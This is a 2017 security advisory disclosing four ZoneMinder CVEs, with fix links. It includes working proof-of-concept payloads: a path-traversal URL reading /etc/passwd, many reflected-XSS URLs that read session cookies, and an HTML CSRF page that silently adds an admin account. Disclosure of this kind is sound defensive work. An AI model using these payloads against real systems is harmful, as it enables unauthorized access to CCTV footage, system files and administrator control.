ZoneMinder XSS / CSRF / File Disclosure / Authentication Bypass
Posted on 08 February 2017
========================================================================== Product: ZoneMinder Versions: Multiple versions - see inline Vulnerabilities: File disclosure, XSS, CSRF, Auth bypass & Info disclosure CVE-IDs: CVE-2017-5595, CVE-2017-5367, CVE-2017-5368, CVE-2016-10140 Author: John Marzella Date: 03/02/2017 ========================================================================== CVE-2016-10140 - Auth bypass and Info disclosure - affects v1.30 and v1.29 ========================================================================== Contacted vendor on 08/11/2016 Apache HTTP Server configuration bundled with ZoneMinder allows a remote unauthenticated attacker to browse all directories in the web root, e.g., a remote unauthenticated attacker can view all CCTV images on the server. PoC: http://<serverIP>/events Fix: https://github.com/ZoneMinder/ZoneMinder/commit/71898df7565ed2a51dfe76a1cf30ddb81fc888ba CVE-2017-5595 - File disclosure - affects v1.xx - code from 2008 ================================================================ Contacted vendor on 22/01/2017 File disclosure and inclusion vulnerability exists in ZoneMinder v1.30.0 due to unfiltered user-input being passed to readfile() in views/file.php which allows an authenticated attacker to read local system files (e.g. /etc/passwd) in the context of the web server user (www-data). PoC: http://<serverIP>/zm/index.php?view=file&path=/../../../../../etc/passwd Fix: https://github.com/ZoneMinder/ZoneMinder/commit/8b19fca9927cdec07cc9dd09bdcf2496a5ae69b3 CVE-2017-5367 - XSS - affects v1.30 and v1.29 ============================================= Contacted vendor on 20/11/2016 Multiple reflected XSS exists. The following has been injected into vulnerable URLas to show that the users session cookie can be stolen. %3Cscript%3Ealert(document.cookie);%3C/script%3E In form input view using POST at http://<serverIP>/zm/ PoC: http://<serverIP>/zm/index.php?action=login&view=postlogin%3Cscript%3Ealert(document.cookie);%3C/script%3E&postLoginQuery=1&username=testuser&password=testpassword In link input view using GET at http://<serverIP>/zm/ PoC: http://<serverIP>/zm/?view=groups%3Cscript%3Ealert(document.cookie);%3C/script%3E In link input filter[terms][1][cnj] using GET at http://<serverIP>/zm/ PoC: http://<serverIP>/zm/?view=events&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=%3E%3D&filter[terms][0][val]=-1%2Bhour&filter[terms][1][cnj]=and%3Cscript%3Ealert(document.cookie);%3C/script%3E&filter[terms][1][attr]=MonitorId&filter[terms][1][op]=%3D&filter[terms][1][val]=1 In form input view using GET at http://<serverIP>/zm/index.php PoC: http://<serverIP>/zm/index.php?view=console%3Cscript%3Ealert(document.cookie);%3C/script%3E&action=1&addBtn=Add%20New%20Monitor&editBtn=Edit&deleteBtn=Delete&markMids[]=2 In form input filter[terms][1][cnj] using POST at http://<serverIP>/zm/index.php PoC: http://<serverIP>/zm/index.php?view=events&page=1&filter%5Bterms%5D%5B0%5D%5Battr%5D=Archived&filter%5Bterms%5D%5B0%5D%5Bop%5D=%3D&filter%5Bterms%5D%5B0%5D%5Bval%5D=1&filter%5Bterms%5D%5B1%5D%5Bcnj%5D=and%3Cscript%3Ealert(document.cookie);%3C/script%3E&filter%5Bterms%5D%5B1%5D%5Battr%5D=MonitorId&filter%5Bterms%5D%5B1%5D%5Bop%5D=%3D&filter%5Bterms%5D%5B1%5D%5Bval%5D=1 In form input filter[terms][1][cnj] using POST at http://<serverIP>/zm/ PoC: http://<serverIP>/zm/?view=events&page=1&filter%5Bterms%5D%5B0%5D%5Battr%5D=DateTime&filter%5Bterms%5D%5B0%5D%5Bop%5D=&filter%5Bterms%5D%5B0%5D%5Bval%5D=-1+hour&filter%5Bterms%5D%5B1%5D%5Bcnj%5D=%3Cscript%3Ealert(document.cookie);%3C/script%3Eand&filter%5Bterms%5D%5B1%5D%5Battr%5D=MonitorId&filter%5Bterms%5D%5B1%5D%5Bop%5D==&filter%5Bterms%5D%5B1%5D%5Bval%5D=1 In form input limit using POST at http://<serverIP>/zm/index.php PoC: http://<serverIP>/zm/index.php?view=events&action=1&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=%3E%3D&filter[terms][0][val]=-1%2Bmonth&sort_field=StartTime&sort_asc=1&limit=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E In link input limit using GET at http://<serverIP>/zm/index.php PoC: http://<serverIP>/zm/index.php?view=events&page=1&filter%5Bterms%5D%5B0%5D%5Battr%5D=DateTime&filter%5Bterms%5D%5B0%5D%5Bop%5D=%3E%3D&filter%5Bterms%5D%5B0%5D%5Bval%5D=-1%2Bmonth&sort_field=Id&sort_asc=0&limit=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E In form input limit using POST at http://<serverIP>/zm/ PoC: http://<serverIP>/zm/?view=events&action=1&page=1&sort_field=StartTime&sort_asc=1&limit=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E In link input limit using GET at http://<serverIP>/zm/ PoC: http://<serverIP>/zm/?view=events&page=1&sort_field=Id&sort_asc=0&limit=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E CVE-2017-5368 - CSRF - affects v1.30 and v1.29 ============================================== Contacted vendor on 20/11/2016 No CSRF protection exists across entire web app. PoC: The following html page silently adds a new admin user to Zoneminder if the admin user is already logged in. csrf_poc_addUser.html <!-- Example of silent CSRF using iframe --> <iframe style="display:none" name="csrf-frame"></iframe> <form method='POST' action="http://<serverIP>/zm/index.php" target="csrf-frame" id="csrf-form"> <input type="hidden" name="view" value="user"/> <input type="hidden" name="action" value="user"/> <input type="hidden" name="uid" value="0"/> <input type="hidden" name="newUser[MonitorIds]" value=""/> <input type="hidden" name="newUser[Username]" value="attacker1"/> <input type="hidden" name="newUser[Password]" value="Password1234"/> <input type="hidden" name="conf_password" value="Password1234"/> <input type="hidden" name="newUser[Language]" value="en_gb"/> <input type="hidden" name="newUser[Enabled]" value="1"/> <input type="hidden" name="newUser[Stream]" value="View"/> <input type="hidden" name="newUser[Events]" value="Edit"/> <input type="hidden" name="newUser[Control]" value="Edit"/> <input type="hidden" name="newUser[Monitors]" value="Edit"/> <input type="hidden" name="newUser[Groups]" value="Edit"/> <input type="hidden" name="newUser[System]" value="Edit"/> <input type="hidden" name="newUser[MaxBandwidth]" value="high"/> </form> <script>document.getElementById("csrf-form").submit()</script>
